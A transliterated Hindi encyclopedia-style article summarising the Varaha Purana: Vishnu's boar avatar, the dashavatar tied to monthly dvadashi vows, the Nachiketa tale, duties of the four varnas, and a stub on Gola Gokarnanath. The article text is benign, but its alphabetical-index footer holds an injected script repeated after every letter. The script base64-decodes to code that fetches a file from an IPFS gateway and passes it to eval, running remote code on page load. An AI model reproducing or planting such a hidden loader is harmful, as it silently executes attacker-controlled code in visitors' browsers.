वराह पुराण

[[chitr:Cover-Varaha-Purana.jpg|thumb|varah puran, gitapres gorakhapur ka avaran prishth]] 'varah puran' vaishnav puran hai. vishnu ke dashavataroan mean ek avatar 'varah' ka hai. prithvi ka uddhar karane ke lie bhagavan vishnu ne yah avatar liya tha. is avatar ki vistrit vyakhya is puran mean ki gee hai. [[chitr:Varaha-Avatar.jpg|thumb|200px|varah avatar
Varaha Avatar]] is puran mean do sau sattarah adhyay aur lagabhag das hazar shlok haian. in shlokoan mean bhagavan varah ke dharmopadesh kathaoan ke roop mean prastut kie ge haian. 'varah puran' ek yojanabaddh roop se likha gaya puran hai. puranoan ke sabhi anivary lakshan isamean milate haian. mukhy roop se is puran mean tirthoan ke sabhi mahatmy aur pandoan-pujariyoan ko adhik se adhik dan-dakshina dene ke puny ka prachar kiya gaya hai. sath hi kuchh sanatan upadesh bhi haian jinhean grahan karana pratyek prani ka lakshy hona chahie. ve ati uttam haian. [[chitr:Udaygiri-Caves-Vidisha-1.jpg|varah avatar bhitti moohrtikala, udayagiri
Massive rock carving depicting Vishnu, in his Varaha incarnation, Udaygiri|thumb|left]]

vishnu pooja

'varah puran' mean vishnu pooja ka anushthan vidhipoorvak karane ki shiksha di gee hai. sath hi trishakti mahatmy, shakti mahima, ganapati charitr, kartikey charitr, rudr kshetroan ka varnan, soory, shiv, brahma mahatmy, tithiyoan ke anusar devi-devataoan ki upasana vidhi aur unake charitroan ka sundar varnan bhi kiya gaya hai. isake atirikt agnidev, ashvinikumar, gauri, nag, durga, kuber, dharm, rudr, pitrigan, chandr ki utpatti, matsy aur koormavataroan ki katha, vratoan ka mahattv, godan, shraddh tatha any anekanek sanskaroan evan anushthanoan ko vidhipoorvak sampann karane par bal diya gaya hai. sabhi dharm-karmoan mean dan-dakshina ki mahima ka bakhan bhi hai.

dashavatar

[[chitr:Buddha-3.jpg|buddh
Buddha|thumb]] is puran mean 'dashavatar' ki katha paramparik roop mean n dekar vividh masoan ki dvadashi vrat ke mahatmy ke roop mean di gee hai. yatha-margashirsh mas ki dvadashi mean 'matsy avatar', paush mas mean 'koorm avatar', magh mas mean 'varah avatar', phalgun mas mean 'nrisianh avatar', chaitr mas mean 'vaman avatar', vaishakh mas mean 'parashuram avatar', jyeshth mas mean 'ram avatar', ashadh mas mean 'krishna avatar', shravan mas mean 'buddh avatar' aur bhadrapad mas mean 'kalki avatar' ke smaran ka mahatmy bataya gaya hai.

narayan bhagavan ki pooja

[[chitr:Ramayana.jpg|thumb|ram,lakshman aur sita
Ram, Laxman and Sita|thumb|left]] ashvin mas mean padmanabh bhagavan ki aur kartik mas mean dharani vrat ke lie narayan bhagavan ki pooja karane ko kaha gaya hai. in sabhi varnanoan mean pooja vidhi lagabhag ek jaisi hai. yatha-vrat-upavas karake bhagavan ki pooja karean. phir shraddha aur shakti ke anusar brahmanoan ko bhojan karaean. unhean dan-dakshina dean. is prakar bhagavan ki pooja ke bahane dan-dakshina ki khulakar mahima gaee gee hai. ise shreshthatam puny kary bataya gaya hai. [[chitr:God-Vishnu.jpg|thumb|bhagavan vishnu
God Vishnu]]

srishti

srishti ki rachana, yug mahatmy, pashupalan, sapt dvip varnan, nadiyoan aur parvatoan ke varnan, som ki utpatti, tarah-tarah ke dan-puny ki mahima, sadacharoan aur duracharoan ke phalasvaroop svarg-narak ke varnan, papoan ka prayashchitt karane ki vidhi adi ka vistrit varnan is puran mean kiya gaya hai. mahishasur vadh ki katha bhi isamean di gee hai. 'varah puran' mean shraddh aur pind dan ki mahima ka varnan vistar se kiya gaya hai. is puran ki sabase b di visheshata yah hai ki vastavik dharm ke niroopan ki vyakhya isamean bahut achchhi tarah ki gee hai. [[chitr:Radha-Krishna-1.jpg|radha-krishna
Radha-Krishna|thumb|left]]

nachiketa

isaka 'nachiketa upakhyan' bhi atyant mahattvapoorn hai. isamean pap samooh aur pap-nash ke upayoan ka sundar varnan kiya gaya hai. kuchh pramukh pap karmoan ka ullekh karate hue puranakar kahata hai ki hiansa, chugali, chori, ag lagana, jiv hatya, asaty kathan, apashabd bolana, doosaroan ko apamanit karana, vyangy karana, jhoothi aphavahean phailana, striyoan ko bahakana, milavat karana adi bhi pap haian. narad aur yam ke sanvad mean manushy pap karm se kis prakar bache- isaka uttar dete hue yam kahate haian ki yah sansar manushy ki karmabhumi hai. jo bhi isamean janm leta hai, use karm karane hi p date haian. karm karane vala svayan hi apane karmoan ke lie uttaradayi hota hai. atma hi atma ka bandhu, mitr aur saga hota hai. atma ki atma ka shatru bhi hota hai. jis vyakti ka ant:karan shuddh hai, jisane apani atma par vijay prapt kar li hai aur jo samast praniyoan mean samata ka bhav rakhata hai; vah satyajnani manushy sabhi papoan se mukt ho jata hai. jo vyakti yog tatha pranayam dvara 'man' aur 'indriyoan' par vijay prapt kar leta hai, vah sabhi tarah ke papoan se chhutakara pa jata hai. jo vyakti man-vachan-karm se kisi jiv ki hiansa nahian karata, kisi ko du:kh nahian pahuanchata, jo lobh aur krodh se rahit hai, jo sada nyay-niti par chalata hai tatha shubh karm karate hue ashubh karmoan se door rahata hai; vah kisi pap ka bhagidar nahian hota.

'varah puran' ka bhaugolik varnan any puranoan ke bhaugolik varnanoan se adhik pramanik aur spasht hai. mathura ke tirthoan ka varnan atyant vistrit roop se is puran mean kiya gaya hai. kahane ka ashay yahi hai ki 'varah puran' ka vivaran any puranoan ki tulana mean atyant saragarbhit hai. [[chitr:Parashurama.jpg|thumb|parashuram
Parashurama]]

charoan varnoan ke lie

charoan varnoan ke lie saty dharm ka palan aur shuddh acharan karane par bal diya gaya hai.'brahman' ko ahankar rahit, svarth rahit, jitendriy aur anasakt yogi ki bhaanti hona chahie. 'kshatriy' ko ahankar rahit, adaraniy tatha chhat-kapat se door rahana chahie. 'vaishy' ko dharmaparayan, dani, labh-hani ki chinta n karane vala aur karttavy parayan hona chahie. 'shoodr' ko apane sabhi kary nishkam bhav aur seva bhav se bhagavan ko arpan karate hue karane chahie. use atithi satkar karane vala, shuddhatma, vinayashil, shraddhavan aur ahankar vihin hona chahie. aisa shoodr hazaroan rrishiyoan se badhakar hota hai. usaki seva ke lie sabhi ko sadaiv tatpar rahana chahie. [[chitr:Narsingh-Bhagwan.jpg|nrisianh bhagavan
Narsingh Bhagwan|thumb|left]] is kaliyug mean brahman apane karttavyoan se vimukh, pakhandi, svarthi aur kamavasanaoan ke das ho ge haian. isake pichhe ek kathanak 'varah puran' mean diya gaya hai. ek bar kuchh brahman rrishi gautam rrishi ke ashram mean jakar ek mayavi gay baandh ae. us samay bhayanak akal p d raha tha. gautam ji ashram mean ae. jab unhoanne mayavi gay ko atane ke lie pani ka chhianta mara to vah mar gee. rrishiyoan ne tatkal un par gauhatya ka dosh laga diya. gautam rrishi ne apane tapobal se us gay ko pun: jivit kar diya. tab lajjit hue rrishiyoan ko gautam rrishi ne shap diya ki ve tinoan vedoan ke bhool jaeange. tabhi se kaliyug mean brahman patan ki or unmukh haian.

'varah puran' ke any apakhyanoan mean chil, siyar, khanjan adi pashu-pakshiyoan dvara yah upadesh diya gaya hai ki sachcha sukh usi ko prapt hota hai jo svarth tyag kar paropakar aur paramarth ka jivan vyatit karata hai. eeshvar ka sachcha bhakt vahi hai, jo paraninda nahian karata, sadaiv saty bolata hai tatha parastri par buri drishti nahian dalata. dharm koee bandhi-bandhaee vastu nahian hai. sabhi vidvanoan ne dharm ki vyakhya apane-apane dhang se ki hai. desh-kal ke anusar dharm ke roop badalate rahate haian.

isalie kaha gaya hai ki jo manushy dharm ke saty-svaroop ko achchhi prakar samajhate haian, ve kabhi doosare dharmoan ka apaman ya niradar nahian karate. ve sabhi dharmoan ka saman roop se adar karate haian. kisi vad-vivad mean nahian p date. is puran ka yahi upadesh aur yahi uddeshy hai, jo atyant vyapak tatha udatt hai. pap ka prayashchitt hi man ki sachchi shanti hai.

gola gokarnanath

mukhy lekh : gola gokarnanath

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uttar pradesh ke lakhimapur khiri se baees mil ki doori par gola gokarnanath namak nagar hai.
yahaan ek sarovar hai. jisake samip gokarnanath mahadev ka vishal mandir hai.

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah